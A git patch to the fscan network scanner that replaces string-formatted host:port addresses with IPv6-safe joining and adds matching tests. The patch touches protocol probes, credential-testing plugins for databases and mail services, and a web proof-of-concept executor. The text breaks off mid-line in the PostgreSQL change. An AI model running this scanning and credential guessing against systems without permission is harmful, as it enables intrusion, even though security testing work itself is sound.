From 569d21a8bc4fd2e78f55e6572252be0cb5c4d6c9 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Mon, 1 Jun 2026 04:03:46 +0800 Subject: [PATCH] fix: harden address parsing edge cases --- common/globals.go | 5 +-- common/globals_test.go | 10 ++++++ common/output/buffer.go | 7 ++--- common/output/writers.go | 44 +++++++++++++-------------- common/output/writers_test.go | 22 ++++++++++++++ core/icmp.go | 3 +- core/port_scan.go | 9 +++--- core/service_probe.go | 6 ++-- core/service_scanner.go | 15 ++++++--- core/service_scanner_test.go | 18 +++++++++-- core/web_scanner.go | 15 +++------ plugins/services/bacnet.go | 3 +- plugins/services/cassandra.go | 6 ++-- plugins/services/credential_tester.go | 2 +- plugins/services/dns.go | 3 +- plugins/services/dnstcp.go | 3 +- plugins/services/elasticsearch.go | 2 +- plugins/services/imap.go | 4 +-- plugins/services/ipmi.go | 38 +++++++++++------------ plugins/services/jdwp.go | 15 +++++---- plugins/services/kafka.go | 2 +- plugins/services/modbus.go | 3 +- plugins/services/mongodb.go | 4 +-- plugins/services/mqtt.go | 2 +- plugins/services/mysql.go | 5 +-- plugins/services/neo4j.go | 6 ++-- plugins/services/nfs.go | 2 +- plugins/services/oracle_raw.go | 2 +- plugins/services/pop3.go | 4 +-- plugins/services/postgresql.go | 29 ++++++++++++++---- plugins/services/postgresql_test.go | 23 ++++++++++++++ plugins/services/rabbitmq.go | 8 +++-- plugins/services/redis.go | 10 ++++-- plugins/services/rmi.go | 2 +- plugins/services/rsync.go | 18 +++++++++-- plugins/services/smb_protocol.go | 4 +-- plugins/services/snmp.go | 3 +- plugins/services/tftp.go | 2 +- plugins/services/zookeeper.go | 3 +- webscan/lib/poc_executor.go | 10 +++--- webscan/lib/poc_executor_test.go | 10 ++++++ webscan/web_scan.go | 4 ++- webscan/web_scan_test.go | 24 +++++++++++++-- 43 files changed, 273 insertions(+), 137 deletions(-) create mode 100644 common/globals_test.go create mode 100644 plugins/services/postgresql_test.go diff --git a/common/globals.go b/common/globals.go index 0453bf8..7e149ce 100644 --- a/common/globals.go +++ b/common/globals.go @@ -2,7 +2,8 @@ package common import ( "errors" - "fmt" + "net" + "strconv" "strings" "sync" @@ -30,7 +31,7 @@ type HostInfo struct { // Target 返回 host:port 格式字符串 func (h *HostInfo) Target() string { - return fmt.Sprintf("%s:%d", h.Host, h.Port) + return net.JoinHostPort(h.Host, strconv.Itoa(h.Port)) } // ============================================================================= diff --git a/common/globals_test.go b/common/globals_test.go new file mode 100644 index 0000000..7933e8b --- /dev/null +++ b/common/globals_test.go @@ -0,0 +1,10 @@ +package common + +import "testing" + +func TestHostInfoTargetUsesBracketedIPv6(t *testing.T) { + info := &HostInfo{Host: "2001:db8::1", Port: 443} + if got, want := info.Target(), "[2001:db8::1]:443"; got != want { + t.Fatalf("Target() = %q, want %q", got, want) + } +} diff --git a/common/output/buffer.go b/common/output/buffer.go index 35efaae..23fa0a0 100644 --- a/common/output/buffer.go +++ b/common/output/buffer.go @@ -1,9 +1,6 @@ package output -import ( - "fmt" - "sync" -) +import "sync" // ResultBuffer 公共的去重缓冲逻辑,供各Writer复用 type ResultBuffer struct { @@ -103,7 +100,7 @@ func (b *ResultBuffer) generateKey(result *ScanResult) string { case TypePort: if result.Details != nil { if port, ok := result.Details["port"]; ok { - return fmt.Sprintf("%s:%v", result.Target, port) + return targetWithPort(result.Target, port) } } return result.Target diff --git a/common/output/writers.go b/common/output/writers.go index 4533204..328d710 100644 --- a/common/output/writers.go +++ b/common/output/writers.go @@ -5,6 +5,7 @@ import ( "encoding/csv" "encoding/json" "fmt" + "net" "os" "strings" "sync" @@ -37,6 +38,20 @@ func escapeControlChars(s string) string { return b.String() } +func targetWithPort(target string, port interface{}) string { + if port == nil { + return target + } + if _, _, err := net.SplitHostPort(target); err == nil { + return target + } + portText := fmt.Sprint(port) + if strings.Count(target, ":") == 1 { + return target + } + return net.JoinHostPort(target, portText) +} + // ============================================================================= // TXTWriter - 文本格式写入器 // ============================================================================= @@ -134,7 +149,7 @@ func (w *TXTWriter) formatLine(result *ScanResult) string { case TypePort: port := w.getDetail(result, "port") if port != nil { - return fmt.Sprintf("%s:%v", result.Target, port) + return targetWithPort(result.Target, port) } return result.Target case TypeService: @@ -167,12 +182,7 @@ func (w *TXTWriter) formatServiceLine(result *ScanResult) string { } // 非Web服务:ip:port service banner - target := result.Target - if !strings.Contains(target, ":") { - if port := w.getDetail(result, "port"); port != nil { - target = fmt.Sprintf("%s:%v", target, port) - } - } + target := targetWithPort(result.Target, w.getDetail(result, "port")) var parts []string parts = append(parts, target) @@ -191,12 +201,7 @@ func (w *TXTWriter) formatServiceLine(result *ScanResult) string { // formatWebServiceLine 格式化Web服务结果 func (w *TXTWriter) formatWebServiceLine(result *ScanResult) string { - target := result.Target - if !strings.Contains(target, ":") { - if port := w.getDetail(result, "port"); port != nil { - target = fmt.Sprintf("%s:%v", target, port) - } - } + target := targetWithPort(result.Target, w.getDetail(result, "port")) url := fmt.Sprintf("%s://%s", w.webProtocol(result, target), target) title := w.getDetailStr(result, "title") @@ -364,12 +369,7 @@ func (w *TXTWriter) writeWebServices() { continue } - target := result.Target - if !strings.Contains(target, ":") { - if port := w.getDetail(result, "port"); port != nil { - target = fmt.Sprintf("%s:%v", target, port) - } - } + target := targetWithPort(result.Target, w.getDetail(result, "port")) urls = append(urls, fmt.Sprintf("%s://%s", w.webProtocol(result, target), target)) } @@ -745,10 +745,8 @@ func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string { } } target := result.Target - if !strings.Contains(target, ":") { - if p, ok := result.Details["port"]; ok { - target = fmt.Sprintf("%s:%v", target, p) - } + if result.Details != nil { + target = targetWithPort(target, result.Details["port"]) } return []string{target, service, version, title, status, server, fingerprints, banner} } diff --git a/common/output/writers_test.go b/common/output/writers_test.go index fd590a7..7118ebb 100644 --- a/common/output/writers_test.go +++ b/common/output/writers_test.go @@ -57,6 +57,28 @@ func createTestResult(resultType ResultType, target, status string, details map[ } } +func TestTargetWithPortIPv6(t *testing.T) { + tests := []struct { + name string + target string + port interface{} + want string + }{ + {name: "ipv4 without port", target: "192.168.1.1", port: 80, want: "192.168.1.1:80"}, + {name: "ipv4 with port", target: "192.168.1.1:80", port: 443, want: "192.168.1.1:80"}, + {name: "ipv6 without port", target: "2001:db8::1", port: 443, want: "[2001:db8::1]:443"}, + {name: "ipv6 with port", target: "[2001:db8::1]:443", port: 80, want: "[2001:db8::1]:443"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := targetWithPort(tt.target, tt.port); got != tt.want { + t.Fatalf("targetWithPort(%q, %v) = %q, want %q", tt.target, tt.port, got, tt.want) + } + }) + } +} + // ============================================================================= // TXTWriter - 基础功能测试 // ============================================================================= diff --git a/core/icmp.go b/core/icmp.go index fa185fc..dce4907 100644 --- a/core/icmp.go +++ b/core/icmp.go @@ -8,6 +8,7 @@ import ( "net" "os/exec" "runtime" + "strconv" "strings" "sync" "sync/atomic" @@ -704,7 +705,7 @@ func tcpProbeAlive(ctx context.Context, session *common.ScanSession, host string result := make(chan bool, len(tcpProbeCommonPorts)) for _, port := range tcpProbeCommonPorts { go func(p int) { - addr := fmt.Sprintf("%s:%d", host, p) + addr := net.JoinHostPort(host, strconv.Itoa(p)) conn, err := session.DialTCP(ctx, "tcp", addr, tcpProbeTimeout) if err == nil { _ = conn.Close() diff --git a/core/port_scan.go b/core/port_scan.go index 553da8b..1e81722 100644 --- a/core/port_scan.go +++ b/core/port_scan.go @@ -4,6 +4,7 @@ import ( "context" "fmt" "net" + "strconv" "strings" "sync" "sync/atomic" @@ -673,7 +674,7 @@ func processServiceResult(ctx context.Context, host string, port int, addr strin _ = session.SaveResult(&output.ScanResult{ Time: time.Now(), Type: output.TypeService, - Target: fmt.Sprintf("%s:%d", host, port), + Target: net.JoinHostPort(host, strconv.Itoa(port)), Status: "identified", Details: details, }) @@ -741,7 +742,7 @@ func tryHTTPFallbackDetection(ctx context.Context, host string, port int, addr s _ = session.SaveResult(&output.ScanResult{ Time: time.Now(), Type: output.TypeService, - Target: fmt.Sprintf("%s:%d", host, port), + Target: net.JoinHostPort(host, strconv.Itoa(port)), Status: "identified", Details: details, }) @@ -812,7 +813,7 @@ func probeSubnets(ctx context.Context, hosts []string, timeout time.Duration, se _ = conn.Close() aliveSubnets.Store(pfx, true) } - }(prefix, fmt.Sprintf("%s:%d", gw, port)) + }(prefix, net.JoinHostPort(gw, strconv.Itoa(port))) } } } @@ -845,7 +846,7 @@ func probeSubnets(ctx context.Context, hosts []string, timeout time.Duration, se go func(pfx, h string, p int) { defer func() { <-limiter; wg.Done() }() - conn, err := session.DialTCP(ctx, "tcp", fmt.Sprintf("%s:%d", h, p), subnetProbeTimeout) + conn, err := session.DialTCP(ctx, "tcp", net.JoinHostPort(h, strconv.Itoa(p)), subnetProbeTimeout) if err == nil { _ = conn.Close() aliveSubnets.Store(pfx, true) diff --git a/core/service_probe.go b/core/service_probe.go index 9bb3ee9..f201cc2 100644 --- a/core/service_probe.go +++ b/core/service_probe.go @@ -3,9 +3,9 @@ package core import ( "context" "errors" - "fmt" "io" "net" + "strconv" "strings" "sync" "time" @@ -264,7 +264,7 @@ func (s *SmartPortInfoScanner) reconnectIfNeeded() { } // 重新建立连接 - newConn, err := s.session.DialTCP(s.info.ctx, "tcp", fmt.Sprintf("%s:%d", s.Address, s.Port), s.Timeout) + newConn, err := s.session.DialTCP(s.info.ctx, "tcp", net.JoinHostPort(s.Address, strconv.Itoa(s.Port)), s.Timeout) if err != nil { return } @@ -542,7 +542,7 @@ func (i *Info) Write(msg []byte) error { _ = oldConn.Close() // 尝试重新连接 - 支持SOCKS5代理 - newConn, retryErr := i.session.DialTCP(i.ctx, "tcp", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second) + newConn, retryErr := i.session.DialTCP(i.ctx, "tcp", net.JoinHostPort(i.Address, strconv.Itoa(i.Port)), time.Duration(6)*time.Second) if retryErr != nil { return retryErr } diff --git a/core/service_scanner.go b/core/service_scanner.go index cc87a54..82025a4 100644 --- a/core/service_scanner.go +++ b/core/service_scanner.go @@ -3,6 +3,7 @@ package core import ( "context" "fmt" + "net" "strconv" "strings" "sync" @@ -422,15 +423,21 @@ func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo comm var infos []common.HostInfo for _, targetIP := range ports { - hostParts := strings.Split(targetIP, ":") - if len(hostParts) != 2 { + targetIP = strings.TrimSpace(targetIP) + host, portStr, err := net.SplitHostPort(targetIP) + if err != nil && strings.Count(targetIP, ":") == 1 { + parts := strings.SplitN(targetIP, ":", 2) + host, portStr = parts[0], parts[1] + err = nil + } + if err != nil { common.LogError(i18n.Tr("invalid_target_format", targetIP)) continue } // 去除空格并过滤空值 - host := strings.TrimSpace(hostParts[0]) - portStr := strings.TrimSpace(hostParts[1]) + host = strings.TrimSpace(host) + portStr = strings.TrimSpace(portStr) if host == "" || portStr == "" { common.LogError(i18n.Tr("invalid_target_format", targetIP)) continue diff --git a/core/service_scanner_test.go b/core/service_scanner_test.go index 0a3ad30..13c15c6 100644 --- a/core/service_scanner_test.go +++ b/core/service_scanner_test.go @@ -545,12 +545,26 @@ func TestConvertToTargetInfos(t *testing.T) { }, }, { - name: "IPv6地址", + name: "裸IPv6地址缺少方括号", ports: []string{"::1:8080"}, baseInfo: common.HostInfo{}, - expectedLen: 0, // Split会产生多个部分,被判定为非法 + expectedLen: 0, validateFunc: nil, }, + { + name: "IPv6地址", + ports: []string{"[2001:db8::1]:8080"}, + baseInfo: common.HostInfo{}, + expectedLen: 1, + validateFunc: func(t *testing.T, infos []common.HostInfo) { + if infos[0].Host != "2001:db8::1" { + t.Errorf("Host = %q, 期望 '2001:db8::1'", infos[0].Host) + } + if infos[0].Port != 8080 { + t.Errorf("Port = %d, 期望 8080", infos[0].Port) + } + }, + }, { name: "域名+端口", ports: []string{"example.com:80", "test.local:443"}, diff --git a/core/web_scanner.go b/core/web_scanner.go index 613fe7b..3522802 100644 --- a/core/web_scanner.go +++ b/core/web_scanner.go @@ -38,7 +38,7 @@ func DetectHTTPSchemeContext(ctx context.Context, host string, port int, config } timeout := config.Network.WebTimeout - addr := fmt.Sprintf("%s:%d", host, port) + addr := net.JoinHostPort(host, strconv.Itoa(port)) // 第一步:尝试标准TLS握手(优先检测HTTPS) tlsDialer := &net.Dialer{Timeout: timeout} @@ -179,15 +179,10 @@ func isPortReachable(ctx context.Context, host string, port int, config *common. // tryHTTP 尝试HTTP请求 - 简化的核心逻辑 func (w *WebPortDetector) tryHTTP(ctx context.Context, client *http.Client, session *common.ScanSession, host string, port int, protocol string) bool { // 构造URL - var url string - if (port == 80 && protocol == "http") || (port == 443 && protocol == "https") { - url = fmt.Sprintf("%s://%s", protocol, host) - } else { - url = fmt.Sprintf("%s://%s:%d", protocol, host, port) - } + targetURL := (&url.URL{Scheme: protocol, Host: net.JoinHostPort(host, strconv.Itoa(port))}).String() // 发送HEAD请求 - req, err := http.NewRequestWithContext(ctx, "HEAD", url, nil) + req, err := http.NewRequestWithContext(ctx, "HEAD", targetURL, nil) if err != nil { return false } @@ -266,7 +261,7 @@ func IsWebServiceByFingerprint(serviceInfo *ServiceInfo) bool { // MarkAsWebService 标记Web服务 - 保持API兼容 func MarkAsWebService(host string, port int, serviceInfo *ServiceInfo) { - cacheKey := fmt.Sprintf("%s:%d", host, port) + cacheKey := net.JoinHostPort(host, strconv.Itoa(port)) webCacheMutex.Lock() defer webCacheMutex.Unlock() @@ -276,7 +271,7 @@ func MarkAsWebService(host string, port int, serviceInfo *ServiceInfo) { // GetWebServiceInfo 获取Web服务信息 func GetWebServiceInfo(host string, port int) (*ServiceInfo, bool) { - cacheKey := fmt.Sprintf("%s:%d", host, port) + cacheKey := net.JoinHostPort(host, strconv.Itoa(port)) webCacheMutex.RLock() defer webCacheMutex.RUnlock() diff --git a/plugins/services/bacnet.go b/plugins/services/bacnet.go index 4a87521..949cba8 100644 --- a/plugins/services/bacnet.go +++ b/plugins/services/bacnet.go @@ -5,7 +5,6 @@ package services import ( "context" "encoding/binary" - "fmt" "time" "github.com/shadow1ng/fscan/common" @@ -28,7 +27,7 @@ func (p *BACnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session timeout = 3 * time.Second } - target := fmt.Sprintf("%s:%d", info.Host, info.Port) + target := info.Target() conn, err := session.DialUDP(ctx, target, timeout) if err != nil { return &ScanResult{Success: false, Service: "bacnet"} diff --git a/plugins/services/cassandra.go b/plugins/services/cassandra.go index 8bebe4a..af3ebb3 100644 --- a/plugins/services/cassandra.go +++ b/plugins/services/cassandra.go @@ -84,7 +84,7 @@ const ( ) func (p *CassandraPlugin) doCassandraAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { - addr := fmt.Sprintf("%s:%d", info.Host, info.Port) + addr := info.Target() timeout := config.Timeout dialer := net.Dialer{Timeout: timeout} @@ -251,7 +251,7 @@ func classifyCassandraErrorType(err error) ErrorType { func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { target := info.Target() - addr := fmt.Sprintf("%s:%d", info.Host, info.Port) + addr := info.Target() timeout := config.Timeout dialer := net.Dialer{Timeout: timeout} @@ -297,7 +297,7 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common. func (p *CassandraPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { target := info.Target() - addr := fmt.Sprintf("%s:%d", info.Host, info.Port) + addr := info.Target() timeout := config.Timeout dialer := net.Dialer{Timeout: timeout} diff --git a/plugins/services/credential_tester.go b/plugins/services/credential_tester.go index 8e4692f..8fb2ca4 100644 --- a/plugins/services/credential_tester.go +++ b/plugins/services/credential_tester.go @@ -133,7 +133,7 @@ func DefaultConcurrentTestConfig(config *common.Config) ConcurrentTestConfig { // DefaultConcurrentTestConfigWithTarget 带目标预检的默认配置 func DefaultConcurrentTestConfigWithTarget(config *common.Config, info *common.HostInfo) ConcurrentTestConfig { cfg := DefaultConcurrentTestConfig(config) - cfg.TargetAddr = fmt.Sprintf("%s:%d", info.Host, info.Port) + cfg.TargetAddr = info.Target() return cfg } diff --git a/plugins/services/dns.go b/plugins/services/dns.go index ec2e9b5..a247d0d 100644 --- a/plugins/services/dns.go +++ b/plugins/services/dns.go @@ -4,7 +4,6 @@ package services import ( "context" - "fmt" "time" "github.com/shadow1ng/fscan/common" @@ -25,7 +24,7 @@ func (p *DNSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co timeout = 3 * time.Second } - target := fmt.Sprintf("%s:%d", info.Host, info.Port) + target := info.Target() queryID := randomUint16() query := buildDNSRootNSQuery(queryID) diff --git a/plugins/services/dnstcp.go b/plugins/services/dnstcp.go index fe9943c..db5a963 100644 --- a/plugins/services/dnstcp.go +++ b/plugins/services/dnstcp.go @@ -5,7 +5,6 @@ package services import ( "context" "encoding/binary" - "fmt" "io" "time" @@ -27,7 +26,7 @@ func (p *DNSTCPPlugin) Scan(ctx context.Context, info *common.HostInfo, session timeout = 3 * time.Second } - addr := fmt.Sprintf("%s:%d", info.Host, info.Port) + addr := info.Target() conn, err := session.DialTCP(ctx, "tcp", addr, timeout) if err != nil { return &ScanResult{Success: false, Service: "dns"} diff --git a/plugins/services/elasticsearch.go b/plugins/services/elasticsearch.go index 28b38d1..504b896 100644 --- a/plugins/services/elasticsearch.go +++ b/plugins/services/elasticsearch.go @@ -88,7 +88,7 @@ func (p *ElasticsearchPlugin) testCredential(ctx context.Context, info *common.H if info.Port == 9443 { protocol = "https" } - url := fmt.Sprintf("%s://%s:%d/", protocol, info.Host, info.Port) + url := fmt.Sprintf("%s://%s/", protocol, info.Target()) req, err := http.NewRequestWithContext(ctx, "GET", url, nil) if err != nil { diff --git a/plugins/services/imap.go b/plugins/services/imap.go index bbf212b..25fd2b9 100644 --- a/plugins/services/imap.go +++ b/plugins/services/imap.go @@ -28,7 +28,7 @@ func (p *IMAPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c timeout = 3 * time.Second } - addr := fmt.Sprintf("%s:%d", info.Host, info.Port) + addr := info.Target() conn, err := session.DialTCP(ctx, "tcp", addr, timeout) if err != nil { return &ScanResult{Success: false, Service: "imap"} @@ -75,7 +75,7 @@ func (p *IMAPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c } func (p *IMAPPlugin) tryLogin(ctx context.Context, info *common.HostInfo, cred plugins.Credential, timeout time.Duration, session *common.ScanSession) *ScanResult { - addr := fmt.Sprintf("%s:%d", info.Host, info.Port) + addr := info.Target() conn, err := session.DialTCP(ctx, "tcp", addr, timeout) if err != nil { return nil diff --git a/plugins/services/ipmi.go b/plugins/services/ipmi.go index 1c193dd..fe32eaf 100644 --- a/plugins/services/ipmi.go +++ b/plugins/services/ipmi.go @@ -25,7 +25,7 @@ func (p *IPMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c timeout = 3 * time.Second } - target := fmt.Sprintf("%s:%d", info.Host, info.Port) + target := info.Target() if result := p.rmcpPing(ctx, target, timeout, session); result != nil { return result @@ -42,15 +42,15 @@ func (p *IPMIPlugin) rmcpPing(ctx context.Context, target string, timeout time.D // ASF Presence Ping: RMCP header + ASF message ping := []byte{ - 0x06, // RMCP version 1.0 - 0x00, // reserved - 0xff, // sequence number (no ack) - 0x06, // class = ASF + 0x06, // RMCP version 1.0 + 0x00, // reserved + 0xff, // sequence number (no ack) + 0x06, // class = ASF 0x00, 0x00, 0x11, 0xbe, // IANA enterprise = ASF (4542) - 0x80, // message type = Presence Ping - 0x00, // message tag - 0x00, // reserved - 0x00, // data length = 0 + 0x80, // message type = Presence Ping + 0x00, // message tag + 0x00, // reserved + 0x00, // data length = 0 } if _, err := conn.Write(ping); err != nil { @@ -108,16 +108,16 @@ func (p *IPMIPlugin) getChannelAuth(conn interface { 0x00, 0x00, 0x00, 0x00, // auth type = none 0x00, 0x00, 0x00, 0x00, // session seq 0x00, 0x00, 0x00, 0x00, // session id - 0x09, // message length - 0x20, // target = BMC - 0x18, // netFn=App(6) << 2 | lun=0 - 0xc8, // checksum - 0x81, // source - 0x00, // seq - 0x38, // cmd = Get Channel Auth Capabilities - 0x8e, // channel=14 (current), IPMI v2.0 - 0x04, // privilege = Administrator - 0xb5, // checksum + 0x09, // message length + 0x20, // target = BMC + 0x18, // netFn=App(6) << 2 | lun=0 + 0xc8, // checksum + 0x81, // source + 0x00, // seq + 0x38, // cmd = Get Channel Auth Capabilities + 0x8e, // channel=14 (current), IPMI v2.0 + 0x04, // privilege = Administrator + 0xb5, // checksum } if _, err := conn.Write(pkt); err != nil { diff --git a/plugins/services/jdwp.go b/plugins/services/jdwp.go index d8ac214..ba39d83 100644 --- a/plugins/services/jdwp.go +++ b/plugins/services/jdwp.go @@ -5,7 +5,6 @@ package services import ( "bytes" "context" - "fmt" "io" "time" @@ -29,7 +28,7 @@ func (p *JDWPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c timeout = 3 * time.Second } - addr := fmt.Sprintf("%s:%d", info.Host, info.Port) + addr := info.Target() conn, err := session.DialTCP(ctx, "tcp", addr, timeout) if err != nil { return &ScanResult{Success: false, Service: "jdwp"} @@ -57,16 +56,20 @@ func (p *JDWPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c } } -func (p *JDWPPlugin) getVersion(conn interface{ Read([]byte) (int, error); Write([]byte) (int, error); SetDeadline(time.Time) error }, timeout time.Duration) string { +func (p *JDWPPlugin) getVersion(conn interface { + Read([]byte) (int, error) + Write([]byte) (int, error) + SetDeadline(time.Time) error +}, timeout time.Duration) string { _ = conn.SetDeadline(time.Now().Add(timeout)) // JDWP Version command: length=11, id=1, flags=0, commandSet=1, command=1 pkt := []byte{ 0x00, 0x00, 0x00, 0x0b, // length = 11 0x00, 0x00, 0x00, 0x01, // id = 1 - 0x00, // flags = 0 (request) - 0x01, // commandSet = 1 (VirtualMachine) - 0x01, // command = 1 (Version) + 0x00, // flags = 0 (request) + 0x01, // commandSet = 1 (VirtualMachine) + 0x01, // command = 1 (Version) } if _, err := conn.Write(pkt); err != nil { return "" diff --git a/plugins/services/kafka.go b/plugins/services/kafka.go index daa9df3..643a52b 100644 --- a/plugins/services/kafka.go +++ b/plugins/services/kafka.go @@ -65,7 +65,7 @@ func (p *KafkaPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi // ── raw TCP Kafka 实现 ────────────────────────────────────────── func (p *KafkaPlugin) doKafkaAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { - target := fmt.Sprintf("%s:%d", info.Host, info.Port) + target := info.Target() timeout := config.Timeout dialer := net.Dialer{Timeout: timeout} diff --git a/plugins/services/modbus.go b/plugins/services/modbus.go index fada001..38e6891 100644 --- a/plugins/services/modbus.go +++ b/plugins/services/modbus.go @@ -5,7 +5,6 @@ package services import ( "context" "encoding/binary" - "fmt" "io" "time" @@ -27,7 +26,7 @@ func (p *ModbusPlugin) Scan(ctx context.Context, info *common.HostInfo, session timeout = 3 * time.Second } - addr := fmt.Sprintf("%s:%d", info.Host, info.Port) + addr := info.Target() conn, err := session.DialTCP(ctx, "tcp", addr, timeout) if err != nil { return &ScanResult{Success: false, Service: "modbus"} diff --git a/plugins/services/mongodb.go b/plugins/services/mongodb.go index 7461300..20f67c9 100644 --- a/plugins/services/mongodb.go +++ b/plugins/services/mongodb.go @@ -83,7 +83,7 @@ func (p *MongoDBPlugin) createAuthFunc(info *common.HostInfo, config *common.Con // ── raw TCP MongoDB SCRAM 认证 ────────────────────────────────── func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { - addr := fmt.Sprintf("%s:%d", info.Host, info.Port) + addr := info.Target() timeout := config.Timeout conn, err := dialTCP(ctx, addr, timeout) @@ -384,7 +384,7 @@ func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostIn } func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo, session *common.ScanSession) (bool, error) { - realhost := fmt.Sprintf("%s:%d", info.Host, info.Port) + realhost := info.Target() reply, err := p.checkMongoAuth(ctx, realhost, createOpMsgPacket(), session) if err != nil { diff --git a/plugins/services/mqtt.go b/plugins/services/mqtt.go index 137b8c1..ec9f649 100644 --- a/plugins/services/mqtt.go +++ b/plugins/services/mqtt.go @@ -37,7 +37,7 @@ func (p *MQTTPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c timeout = 3 * time.Second } - addr := fmt.Sprintf("%s:%d", info.Host, info.Port) + addr := info.Target() conn, err := session.DialTCP(ctx, "tcp", addr, timeout) if err != nil { return &ScanResult{Success: false, Service: "mqtt"} diff --git a/plugins/services/mysql.go b/plugins/services/mysql.go index 2cf38a3..93ce62b 100644 --- a/plugins/services/mysql.go +++ b/plugins/services/mysql.go @@ -8,6 +8,7 @@ import ( "fmt" "log" "net" + "strconv" "time" "github.com/go-sql-driver/mysql" @@ -76,8 +77,8 @@ func (p *MySQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi // doMySQLAuth 执行MySQL认证 func (p *MySQLPlugin) doMySQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { - connStr := fmt.Sprintf("%s:%s@tcp(%s:%d)/information_schema?charset=utf8&timeout=%ds", - cred.Username, cred.Password, info.Host, info.Port, int64(config.Timeout.Seconds())) + connStr := fmt.Sprintf("%s:%s@tcp(%s)/information_schema?charset=utf8&timeout=%ds", + cred.Username, cred.Password, net.JoinHostPort(info.Host, strconv.Itoa(info.Port)), int64(config.Timeout.Seconds())) db, err := sql.Open("mysql", connStr) if err != nil { diff --git a/plugins/services/neo4j.go b/plugins/services/neo4j.go index c2cb47c..30f3b29 100644 --- a/plugins/services/neo4j.go +++ b/plugins/services/neo4j.go @@ -71,7 +71,7 @@ func (p *Neo4jPlugin) createAuthFunc(info *common.HostInfo, session *common.Scan // doNeo4jAuth 执行Neo4j认证 func (p *Neo4jPlugin) doNeo4jAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { config := session.Config - baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port) + baseURL := "http://" + info.Target() client := &http.Client{Timeout: config.Timeout} @@ -147,7 +147,7 @@ func classifyNeo4jErrorType(err error) ErrorType { func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { config := session.Config - baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port) + baseURL := "http://" + info.Target() client := &http.Client{Timeout: config.Timeout} @@ -192,7 +192,7 @@ func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H func (p *Neo4jPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { config := session.Config target := info.Target() - baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port) + baseURL := "http://" + info.Target() client := &http.Client{Timeout: config.Timeout} diff --git a/plugins/services/nfs.go b/plugins/services/nfs.go index 74a81c6..a9a72e4 100644 --- a/plugins/services/nfs.go +++ b/plugins/services/nfs.go @@ -26,7 +26,7 @@ func (p *NFSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co timeout = 3 * time.Second } - addr := fmt.Sprintf("%s:%d", info.Host, info.Port) + addr := info.Target() conn, err := session.DialTCP(ctx, "tcp", addr, timeout) if err != nil { return &ScanResult{Success: false, Service: "nfs"} diff --git a/plugins/services/oracle_raw.go b/plugins/services/oracle_raw.go index 33f4611..f74767a 100644 --- a/plugins/services/oracle_raw.go +++ b/plugins/services/oracle_raw.go @@ -96,7 +96,7 @@ type oracleSummary struct { } func oracleRawAuth(ctx context.Context, host string, port int, serviceName, username, password string, timeout time.Duration) error { - addr := fmt.Sprintf("%s:%d", host, port) + addr := net.JoinHostPort(host, strconv.Itoa(port)) dialer := net.Dialer{Timeout: timeout} conn, err := dialer.DialContext(ctx, "tcp", addr) if err != nil { diff --git a/plugins/services/pop3.go b/plugins/services/pop3.go index 67867e4..5206be5 100644 --- a/plugins/services/pop3.go +++ b/plugins/services/pop3.go @@ -28,7 +28,7 @@ func (p *POP3Plugin) Scan(ctx context.Context, info *common.HostInfo, session *c timeout = 3 * time.Second } - addr := fmt.Sprintf("%s:%d", info.Host, info.Port) + addr := info.Target() conn, err := session.DialTCP(ctx, "tcp", addr, timeout) if err != nil { return &ScanResult{Success: false, Service: "pop3"} @@ -75,7 +75,7 @@ func (p *POP3Plugin) Scan(ctx context.Context, info *common.HostInfo, session *c } func (p *POP3Plugin) tryLogin(ctx context.Context, info *common.HostInfo, cred plugins.Credential, timeout time.Duration, session *common.ScanSession) *ScanResult { - addr := fmt.Sprintf("%s:%d", info.Host, info.Port) + addr := info.Target() conn, err := session.DialTCP(ctx, "tcp", addr, timeout) if err != nil { return nil diff --git a/plugins/services/postgresql.go b/plugins/services/postgresql.go index 259d317..3fa7098 100644 --- a/plugins/services/postgresql.go +++ b/plugins/services/postgresql.go @@ -6,6 +6,8 @@ import ( "context" "database/sql" "fmt" + "net/url" + "strconv" "strings" _ "github.com/lib/pq" // PostgreSQL driver @@ -71,8 +73,7 @@ func (p *PostgreSQLPlugin) createAuthFunc(info *common.HostInfo, config *common. // doPostgreSQLAuth 执行PostgreSQL认证 func (p *PostgreSQLPlugin) doPostgreSQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { - connStr := 